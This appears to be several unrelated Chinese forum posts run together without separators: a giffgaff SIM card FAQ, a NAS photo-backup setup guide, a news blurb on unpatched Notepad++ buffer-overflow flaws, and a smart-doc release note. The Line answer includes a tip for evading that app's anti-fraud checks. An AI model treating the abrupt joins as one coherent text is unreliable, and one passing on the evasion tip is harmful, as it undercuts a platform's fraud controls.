A:直接官网在线申请的,目前此项福利已经取消。可以通过朋友邀请链接申请才有,或者自行购买。不激活不充值是没有的哦,超时充值也有可能没有错过福利哦。

Q:月租多少钱?
A:若和我一样,主要是用来接码,建议选择 0 月租的 Pay As You Go 套餐,充多少用多少,TB 或 JD 上卖的都是针对游客的短期月租套餐卡,不合适长期使用。如果您需要前往海外,只需到官网上调整您的套餐即可。

Q:如何保号,成本多少?
A:这种 O 月租的卡一般都有保号要求,giffgaff 要求每 180 天话费余额需要变动一次,否则号码会被回收。在国内,最低成本就是发出一条短信,发送对象是国内外手机号码均可以,每条 0.3 磅,因此一年消费 0.6 磅,仅仅不到 6 元人民币。每次话费余额变化后,例如充值,消费,保号周期重新开始计算。首次充值,也属于余额变动,因此在 180 天内完成保号即可。

Q:收短信免费吗,其他费用如何?
A:收短信免费,打电话/接电话=1 英镑/分钟,发短信=0.3 英镑/条,上网=0.2 英镑/MB

Q:首次自助充值激活需要准备什么?
A:请准备一张 VISA 或万事达的外币实体信用卡或借记卡,国内发行的也可以,单银联、JCB 、AE 等信用卡以及任何虚拟信用卡均无法使用哦,充值最低 10 英镑起,请确保您的卡额度足够。特别提醒,首次充值不支持 PayPal ,以后续费可以使用。

Q:插卡后没信号
A:由于海外运营商与国内运营商之间的漫游对接有很多环节和验证过程,耐心等待 1-5 分钟, 就会出现。

Q:我的卡号是多少
A:首次插卡,会收到一条激活成功的提示短信,内有您的手机号码,后面也可以登录官网查询。

Q:手机号码正确,无法登录官网或软件提示号码格式不对
A:英国国际区号(United Kingdom)是+44 ,有时候也用 0044 表示,输入时候要选择正确区号。

Q:为什么我的卡无法拨打电话,无法发短信?
A:可以在手机设置里取消 [运营商自动选择] ,改为手动选择到中国移动,并重启手机后再尝试

Q:支持哪些手机?信号如何?
A:支持目前所有主流手机,gg 卡是 FDD-LTE 制式,除了极少数电信 CDMA 3G 手机不支持,其他均无问题。它在国内默认通过中国移动或中国联通进行漫游,还支持 5G ,通话质量,数据质量,覆盖范围非常不错。

Q:苹果手机使用上有什么注意事项?
A:不建议打开 iMessage/Facetime 功能,因为如果点击确认,苹果后台会发出一条短信,因此会被扣费 0.3 磅。由于国内短信价格很低,很多人都是套餐里送的,所以不知道有这么一个短信发送的过程。

giffgaff 常用功能

首次充值激活:
登录个人账户/重置密码:
查询话费余额/SIM 号码:
续费充值:
话费账单查询:
个人资料修改:
申请换号: (一般在被 app 封号后建议用,有 2 次额度)

查询 SIM 号码:发送 [ NUMBER ] 到 43430
查询话费余额:直接拨打 [*100#]
关闭语音信箱:直接拨打 [##002#]
打开语音信箱:直接拨打 [*614431020#]

使用 giffgaff ( gg )卡注册各类 app 遇到的坑

Q:为什么收不 Telegram 电报的验证码?
A:请使用 Telegram 移动端申请注册,网页端及电脑客户端是不行的。如果还不行,大概率是因为你使用的是国内阉割版的安卓手机,TG 的安卓版需要手机系统内置谷歌服务框架 GMS 软件包才能收到验证码,建议更换苹果手机,或者带 GMS 服务的安卓手机,具体请百度谷歌查询。

Q:为什么收不到 Line 的验证码?
A:Line 近期已经加强了防欺诈能力,无论你用什么运营商的海外号码申请注册,凡是通过机场/VPN 这种共享 IP 来使用,大概率会被识别出来,看似没有任何报错,就是收不到验证码。解决方案是开启 gg 卡自带的漫游上网来完成所有注册流程,同时建议暂时关闭其他 App 的网络访问,避免消耗流量。

Q:为什么收不 Tik Tok 国际版抖音的验证码?
A:确保您的卡和 App 在同一部手机,其次确保手机里就一张 gg 卡,国内卡不能同时存在,最后建议更换 VPN 或机场线路,比如切换到美国/日本/新加坡/英国等地,港台线路容易受污染。

为什么要存到 NAS

一直不愿意用一些云相册或者网盘之类的服务来备份和保存自己的照片,主要是两个原因:

  1. 不想自己的隐私被这些服务方一直视奸,你传上去的照片视频肯定会被这些服务方扫描一遍的,就算没有私密的照片,我也接受不了隐私被这样侵犯
  2. 不想自己的数据被绑架,毕竟数据是别人手上,哪天别人要跑路或者涨价,你也没有任何办法

尝试的方案

群晖 moments
最开始 NAS 装了群晖,于是就用了群晖自带的 moments 来同步照片.用了一段时间后出现了一些问题:

  1. moments app 几乎不再更新,体验不算差,但绝对不好,老婆总是抱怨 ios 上这不好用那不好用
  2. 与群晖绑定,因为必须搭配 moments 服务端一起使用,所以你没有任何别的选择,这让我感觉很被动
    现在似乎群晖已经淘汰 moments 了,出了新的群晖 photos,这个我没有试用过,因为群晖硬件还是太贵了,现在已经改用 Unraid 了

PhotoPrism - 超好用
不得不说 PhotoPrism 确实太好用了,我最喜欢它的一点是他的兼容性很强,你只要丢给它一个目录,他就能处理里面的所有照片,并且可以在各个维度进行检索,对于超大量的照片来说真的很好用.

但问题就在于 PhotoPrism 只有服务端,把照片同步到 NAS 这个动作还要我自己想办法来完成

PhotoSync - 不值得这个价格
这个 app 的功能还是可以的,但是它的 UI 和交互是在是有点古老,我还需要专门用一个 app 来进行同步这个事情,最重要的是要付费才能用,我觉得不太值得,放弃.

Nextcloud - 移动端 app 太差
Nextcloud 作为网盘来说挺好用的,我尝试使用 Nextcloud 的移动端来同步相册照片.但我真的安装了安卓端 app 后,连接了我 https 反代后的 URL 居然直接崩溃了,完全没法用,放弃.

Alist + Pho + Rclone + PhotoPrism - 终极方案

这个方案最让我喜欢的一点是各个环节都不是耦合的,去掉其中任何一个环节都不会影响到其他环节,每个人完全可以根据自己的喜好来替换其中的某个部分.

Alist
官网: https://alist.nn.ci/zh/
负责把各种可用的储存映射成webdav,支持各种云盘网盘以及本地储存
Alist

Pho
官网: https://pho.tools/
负责通过webdav上传照片到Alist映射的储存 它很好的一点是支持加密后上传,这样就可以在网盘上做二次备份,在能避免隐私泄露的前提下多一层数据保险
而且我可以在手机上直接用这个 app 来浏览我本地和已经上传的照片,这个 app 的 UI 和交互都很好,可以直接用它来代替系统自带的相册
Pho

Rclone
官网: https://rclone.org/
负责把Alist的webdav映射到 NAS 的文件系统内,来把照片喂给 PhotoPrism

PhotoPrism
官网: https://www.photoprism.app/
最终的"集大成者",全家所有设备备份的照片最终全部喂到这里,即使是海量照片也能根据它快速索引到自己想找的照片

PhotoPrism

最终效果

平时手机上浏览和上传
使用Pho浏览本地和最近上传的照片

查找和浏览过去某个时候的照片
根据信息用PhotoPrism检索即可

流行的开源代码编辑器 Notepad++ 发现了多个缓冲溢出漏洞,允许攻击者执行任意代码。Notepad++ 尚未发布补丁修复漏洞。GitHub Security Lab 的安全研究员 Jaroslav Lobačevski 发现,Notepad++ 使用的部分函数和库存在堆缓冲区写溢出和堆缓冲区读取溢出漏洞,这些漏洞的风险评分从 5.5 (中危)到 7.8 (高危)不等。他是在四月底报告了漏洞,但直到 Notepad++ 发布最新版本 v8.5.6 漏洞仍然没有修复,因此根据披露政策公开了漏洞和 PoC 。

https://cybersecuritynews.com/multiple-notepad-flaw/

https://securitylab.github.com/advisories/GHSL-2023-092_Notepad__/#resources

smart-doc 是一款同时支持 JAVA REST API 和 Apache Dubbo RPC 接口文档生成的工具,smart-doc 利用接口泛型和 javadoc 注释自动分析生成 api 接口文档,不采用任何注解侵入到业务代码中。只需要在项目中引入 smart-doc 提供的 maven 或者是 gradle 插件,然后按照规范写好 javadoc 注释即可生成 api 文档。同时 smart-doc 也支持生成 openapi 和 postman 这些规范的文档,生成后可以直接导入相关工具做测试。

Features

  • 零注解、零学习成本、只需要写标准 JAVA 注释。
  • 基于源代码接口定义自动推导,强大的返回结构推导。
  • 支持 Spring MVC 、Spring Boot 、Spring Boot Web Flux(controller 书写方式)、Feign 。
  • 支持 JAX-RS 实现的 WEB 框架,例如 Quarkus 。
  • 支持 Callable 、Future 、CompletableFuture 等异步接口返回的推导。
  • 支持 JavaBean 上的 JSR303 参数校验规范,包括分组验证。
  • 对 JSON 请求参数的接口能够自动生成模拟 JSON 参数。
  • 对一些常用字段定义能够生成有效的模拟值。
  • 支持生成 JSON 返回值示例。
  • 支持从项目外部加载源代码来生成字段注释(包括标准规范发布的 jar 包)。
  • 支持生成多种格式文档:Markdown 、HTML5 、Asciidoctor 、Postman Collection 、OpenAPI 3.0 。Up- 开放文档数据,可自由实现接入文档管理系统。
  • 支持导出错误码和定义在代码中的各种字典码到接口文档。
  • 支持 Maven 、Gradle 插件式轻松集成。
  • 支持 Apache Dubbo RPC 接口文档生成。

更新内容

  1. 优化 smart-doc 常量获取,支持静态导入的常量获取。
  2. 无源代码第三方接口范型方法的解析支持,
  3. 生成 Mardown 代码块添加语言类型支持,
  4. 修复 openapi 生成 summary 和 description 设置,
  5. 修复生成的 openapi.json 中接口的路径参数赋予 format 错误,

发展情况

smart-doc 开源维护接近五年,目前很多功能已经非常稳定,国内有很多的用户。码云 star 3k+,github star 1k+ 。smart-doc 官方布道的企业级文档管理系统 torna 的 docker 镜像下载量超过 10k 。国内已有数家知名司在使用 smart-doc ,如:科大讯飞、小米、一加、顺丰、马蜂窝、同程旅行等。smart-doc+torna 的整套 API 管理体系已经被很多公司落地使用。smart-doc 目前也是 java 领域国内除了 swagger 外被使用最多的 API 文档生成工具,覆盖的用例最前全面,最新的版本几乎不易在使用中报错。

仓库地址

https://github.com/smart-doc-group/smart-doc